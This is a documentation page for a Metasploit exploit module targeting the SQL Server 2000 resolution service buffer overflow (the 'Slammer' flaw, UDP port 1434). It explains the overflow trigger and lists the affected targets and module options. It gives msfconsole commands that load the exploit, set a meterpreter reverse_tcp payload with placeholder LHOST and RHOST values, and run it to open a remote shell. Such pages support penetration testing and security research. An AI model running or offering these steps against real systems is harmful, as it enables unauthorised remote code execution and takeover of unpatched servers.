Microsoft SQL Server Resolution Overflow

This is an exploit for the SQL Server 2000 resolution service buffer overflow. This overflow is triggered by sending a udp packet to port 1434 which starts with 0x04 and is followed by long string terminating with a colon and a number. This module should work against any vulnerable SQL Server 2000 or MSDE install (pre-SP3).

Search Other Modules

Exploit Rank

Good

Exploit Authors

hdm < hdm [at] metasploit.com >

Vulnerability References

Exploit Targets

0 - MSSQL 2000 / MSDE <= SP2 (default)

Exploit Development

Similar Exploit Modules

Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/mssql/ms02_039_slammer
msf exploit(ms02_039_slammer) > show payloads
msf exploit(ms02_039_slammer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms02_039_slammer) > set LHOST [MY IP ADDRESS]
msf exploit(ms02_039_slammer) > set RHOST [TARGET IP]
msf exploit(ms02_039_slammer) > exploit

Exploit Module Options

PASSWORD	The password for the specified username (default: )
RHOST	The target address
RPORT	The target port (default: 1434)
USERNAME	The username to authenticate as (default: sa)
USE_WINDOWS_AUTHENT	Use windows authentification (requires DOMAIN option set)
CHOST	The local client address
CPORT	The local client port
ConnectTimeout	Maximum number of seconds to establish a TCP connection
ContextInformationFile	The information file that contains context information
DOMAIN	The domain to use for windows authentication
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
HEX2BINARY	The path to the hex2binary script on the disk
NTLM::SendLM	Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM	Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN	Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey	Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session	Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2	Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies	Use a proxy chain
SSL	Negotiate SSL for outgoing connections
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session
TCP::max_send_size	Maxiumum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)